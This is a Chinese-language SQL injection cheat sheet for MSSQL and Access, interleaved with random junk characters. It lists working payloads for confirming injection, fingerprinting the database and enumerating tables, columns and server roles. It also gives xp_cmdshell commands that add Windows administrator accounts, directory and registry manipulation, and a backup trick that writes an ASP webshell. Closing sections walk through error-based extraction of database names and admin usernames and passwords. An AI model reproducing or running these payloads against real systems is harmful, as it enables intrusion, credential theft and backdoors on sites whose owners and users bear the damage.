1.判断是否有注入
( p' N p J7 o# L;and 1=1 . r, s0 J+ [- L# W2 Y* o9 a
;and 1=2
3 T7 Y |2 ~4 m- g
4 V6 Y e+ Y) J6 [ c! I2.初步判断是否是mssql
% u( x0 t% W7 C2 y& D9 ?;and user>0 ! u9 @0 _2 Z# {: C# {! c- e
% O8 p% V# Y% {4 Z9 p. ^; D
3.判断数据库系统
9 N' S+ ~: I/ ~" \: y) |;and (select count(*) from sysobjects)>0 mssql
' y$ i0 Q4 c- m;and (select count(*) from msysobjects)>0 access 4 S8 ?7 }8 b& l6 p+ Y
. F# Z- \- A' s- G; R0 P" g
4.注入参数是字符
9 o0 n9 {# ? e; A( r'and [查询条件] and ''=' . o! f) k; j1 @! {
; l8 p- @% W& _8 q* b) y R5.搜索时没过滤参数的
% L7 d) R! J/ r! q! H1 w'and [查询条件] and '%25'='
5 Y7 W+ T" p& A$ S% y! i$ B* n; }( C% w6 n
6.猜数表名
. [/ m7 x. h1 {% n;and (select Count(*) from [表名])>0
" \* G' U. w2 Z" s. m: m
% {$ q4 S& K9 I$ g1 Y0 @7.猜字段
: l* |2 e1 A% h" w8 [" f. [, D;and (select Count(字段名) from 表名)>0
7 ]7 P2 X+ Z9 h: y0 y! r# ?* p$ r3 x2 t, D
8.猜字段中记录长度
5 ?7 ]# i2 `9 m9 \;and (select top 1 len(字段名) from 表名)>0 $ T$ L' @" k# D- \# C7 P+ m: D/ M
# x0 Q* w4 y3 b) z; m8 a) t
9.(1)猜字段的ascii值(access) ; u3 ?' k1 |. n0 P
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 : j1 S* T! p. { X- p! Y, f& x
, [( f4 G# d3 k0 \- s(2)猜字段的ascii值(mssql) f% G. R1 ?5 ]9 l' n: K0 [$ c
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 : O' X& n# y; `' K. z
9 W4 x- }+ s- m" ~9 F
10.测试权限结构(mssql)
0 v8 h% w" _1 h;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
% K3 T$ Q- S' g" o;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
8 y( Y p d' y7 t;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
% i$ t" S1 _+ r x;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3 f% v/ B; m4 W) `0 o6 X& r7 F
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
7 J4 `5 K9 }( w6 a; D$ R;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
4 k7 q- [, u3 ], J/ G* H d; ] e;and 1=(select IS_MEMBER('db_owner'));--
6 N2 @: y& v# w, T
! J4 x! g: D% G7 G: t. B* {. A11.添加mssql和系统的帐户
& I4 l) G3 ]* b& f;exec master.dbo.sp_addlogin username;--
' a. C, C- _2 K% H;exec master.dbo.sp_password null,username,password;-- ' ~+ B: |: [/ G' l/ P" ^* `
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
) v$ H" n$ m* B/ H;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
: T8 J2 A! ^! k9 `/ ];exec master.dbo.xp_cmdshell 'net user username password /add';-- * Q9 D2 n' n, L' i Y0 H
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
) g. l& _$ C( ?/ Z/ y# O
( y% b* z0 m* I' C12.(1)遍历目录
, u: m P) O5 H9 Q5 P- h. b2 ];create table dirs(paths varchar(100), id int)
' |* x- S- ]. x) r j;insert dirs exec master.dbo.xp_dirtree 'c:\'
. [0 t4 |( ^% n# B- w. l5 z;and (select top 1 paths from dirs)>0
4 X" x' }; b2 s5 S) E) C;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
' j1 W$ W2 t! d' h( |$ T7 a B2 ?9 k6 z5 l
(2)遍历目录
9 |' E8 ~4 n5 L- r;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
) [3 P! _6 C m3 j;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
3 ]/ y9 A+ k. x5 e6 d;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 : {1 f% h( b- ^: O- _+ ~
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
/ o: b3 N' g$ t, C2 [, `( G;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
) n! F, N% k* r) B9 u* r8 I u$ U' B' z
13.mssql中的存储过程 ) t; f" I$ W- M! O
xp_regenumvalues 注册表根键, 子键
& O$ ^0 l$ A. L* n* k8 ?4 ]6 t;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
) ]# L# t% r% i! [, m. {xp_regread 根键,子键,键值名
) U3 N7 D7 \# T0 m;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
: b+ j5 d/ _1 A1 G% \; q6 a1 V! _xp_regwrite 根键,子键, 值名, 值类型, 值
|2 H. h' n, T+ M- S3 k/ {; w值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ) D5 J' w6 X) u+ t6 t. [
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
: S1 y/ @2 o$ U2 _( Nxp_regdeletevalue 根键,子键,值名 , L0 q: W& R3 G$ T( H
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
& o. g& A$ b) d; C2 p8 Kxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 # O! h. T0 r5 d) y* [6 z
# H7 S) j# H0 u/ Y14.mssql的backup创建webshell
7 T1 T0 a9 k$ s3 o& Z( O/ \use model
$ l* M5 Q# R. ncreate table cmd(str image); 8 ?" O+ a5 @/ W& ]- @" B3 K2 o
insert into cmd(str) values ('<% Dim oScript %>'); 2 M) F" e9 l& m/ W* f' u& ]9 q
backup database model to disk='c:\l.asp'; , {* x- o4 i% E% q( E/ e& [( k+ R
3 F+ \; H% S) f7 q5 H, a8 B15.mssql内置函数
! }. L1 c( m, T/ u1 p3 D* k! {;and (select @@version)>0 获得Windows的版本号
2 G8 ~; B& a3 S4 X;and user_name()='dbo' 判断当前系统的连接用户是不是sa
/ u2 l/ p4 B, f" s: Q: b8 E;and (select user_name())>0 爆当前系统的连接用户 ! P6 F! T7 o- g c& x
;and (select db_name())>0 得到当前连接的数据库
- j5 q _$ ~0 V6 Q) D! {' J' |9 M: U" R& c1 y
3 D! M4 ^. d M: e# E
h8 X v# h+ }
MSSQL手注暴库
) c( G6 z. _1 f, B
4 G4 n. w& j% M3 W& H1.暴出当前表名和列名
$ }9 y7 F! x2 M: L1 k在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
4 R3 j' g% V0 ]$ {
' [" x( T l; G- }+ ]% ]: n4 i, h第一.爆出所有数据库名
2 j. w( b3 z! k& B, I利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。- G2 j8 V9 [& u% n: L) e3 ]* _4 \2 `
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。6 i. R' H4 N7 Z; o
5 {+ I6 L$ ]1 Qand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
; Y- z4 h. H6 C' y( E; s& F9 W( s: k. C
9 `5 y! m0 Q2 I6 B/ }
第二.爆出指定库中的所有表名& u9 U# R. P1 C8 u9 [( S
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。( R8 ? Z1 Z9 j' k* {, a; ^( a
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。, L j4 K6 O' q
. Z2 h1 N" W! e% z, l9 r* Dand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--- T( s1 I* } n9 O, I q
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--! g# S) U7 l0 E" Y; z
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
8 ]% Y" _" c! n" d3 a8 v1 C& `0 v
4.爆出指定表中的所有列名
5 k n9 l( Q; Aand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
, R! R" }9 Y5 R4 f0 c//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'# I- C0 N$ }. m% S# e2 o
! v7 y% m% `8 Eand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
7 U3 V# `4 [7 Z9 b3 T7 K( p5 k0 D8 s4 f" z4 I: ~
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 5 M% {0 [; G% ?) A( f! Z
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
" p! Z* \ n5 e# Q
# `( Z( I( E0 x9 l) D6 g2 \* k0 g4 m% c& ~3 S, p/ O
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值: q, K/ [3 G6 ]
$ G4 {* `9 ]: [# \) O1 Band 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名& Y; u( d( }0 K$ {
# `4 |8 E! s/ W
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
$ B( F1 V7 X$ R: N
; H" ^% M! u$ t( j/ n' n5 b: ]- J0 g' ^* o' g+ P- y* _
! `; y* B( }! k5 ~5 G) q6 Q
5.读取指定表中的数据
; t2 v: y3 B5 p; Z! w/ }6 |. P; N" ^. \& F+ V4 {8 b
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
$ A$ B- m( s: b) B! }+ Q6 a8 L! h! X3 J5 {
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)-- i; `- F4 R7 t2 U
- H' m: r& e6 rand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
4 G# K/ h; p, `' d7 O
# f. w) W# k- m Q0 ]7 q7 e9 b* F7 I4 ?) B
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)4 v" d& k2 k) R/ t; j! x
( s [( J9 i) J/ M' `; p
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang), q$ j" i0 f3 L$ ]0 n. H: n
. q" P- P4 V7 m9 j: T. land 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--& n& [/ ^7 `1 j7 u O- w/ u0 b
, l& P# k0 b7 D9 ~5 z) y5 K3 f( M知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。1 A7 K: A, L/ I! e$ L* q V
|